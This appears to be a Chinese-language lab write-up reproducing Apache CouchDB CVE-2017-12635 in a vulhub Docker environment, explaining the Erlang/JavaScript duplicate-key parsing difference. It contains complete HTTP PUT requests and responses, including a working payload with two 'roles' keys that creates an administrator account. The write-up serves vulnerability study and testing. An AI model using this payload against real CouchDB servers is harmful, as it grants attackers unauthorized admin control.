漏洞描述

Apache CouchDB是一个开源数据库,其使用JSON作为数据存储格式、JavaScript作为查询语言、MapReduce和HTTP作为NoSQL数据库。

漏洞成因在于ErlangJavaScriptJSON数据解析方式不同,对于重复的键,Erlang会存储两个值,而JavaScript只存储第二个值,从而导致语句执行有差异,可被攻击者用于垂直越权。

示例:

Erlang

jiffy:decode("{"a":"1","a":"2"}").
{[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}

JavaScript

JSON.parse("{"a":"1","a":"2"}")
{a:"2"}

影响版本

1.7.02.1.1版本以下均受影响。

漏洞复现

git clone https://github.com/vulhub/vulhub.git
cd vulhub/couchdb/CVE-2017-12635
docker-compose up -d

访问http://<ip>:5984/_utils,会跳转到登录页面,使用bp构造如下请求包:

PUT /_users/org.couchdb.user:oopsdc HTTP/1.1
Host: <ip>:5984
Content-Length: 92
accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: http://<ip>:5984
Referer: http://<ip>:5984/_utils/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{
  "type": "user",
  "name": "oopsdc",
  "roles":[ "_admin"],
  "password": "oopsdc"
}

响应包如下:

HTTP/1.1 403 Forbidden
X-CouchDB-Body-Time: 0
X-Couch-Request-ID: 4ab931d550
Server: CouchDB/2.1.0 (Erlang OTP/17)
Date: Tue, 15 Feb 2022 05:41:54 GMT
Content-Type: application/json
Content-Length: 59
Cache-Control: must-revalidate

{"error":"forbidden","reason":"Only _admin may set roles"}

提示只有管理员有权设置用户身份,然后我们利用之前提到的数据解析差异绕过这一限制,构造如下请求包:

PUT /_users/org.couchdb.user:oopsdc HTTP/1.1
Host: <ip>:5984
Content-Length: 92
accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: http://<ip>:5984
Referer: http://<ip>:5984/_utils/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{
  "type": "user",
  "name": "oopsdc",
  "roles":[ "_admin"],
  "roles":[ ""],
  "password": "oopsdc"
}

之所以设置两个roles键,是因为JavaScript会将其解析为"rolse":[],,使我们创建的账号权限为0,绕过系统判定,之后在Erlang部分进行身份验证和授权的时候,jiffygetter函数会返回第一个值,即"roles":[ "_admin"],,进而创建一个管理员账号。

响应包:

HTTP/1.1 201 Created
X-CouchDB-Body-Time: 0
X-Couch-Request-ID: 4a02be93ef
Server: CouchDB/2.1.0 (Erlang OTP/17)
Location: http://<ip>:5984/_users/org.couchdb.user:oopsdc
ETag: "1-85286d342fc0820953bbffc60b3a8b20"
Date: Tue, 15 Feb 2022 05:45:01 GMT
Content-Type: application/json
Content-Length: 86
Cache-Control: must-revalidate

{"ok":true,"id":"org.couchdb.user:oopsdc","rev":"1-85286d342fc0820953bbffc60b3a8b20"}

提示用户创建成功,再次进入http://<ip>:5984/_utils/#login页面使用帐密oopsdc/oopsdc登录,登录成功。

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。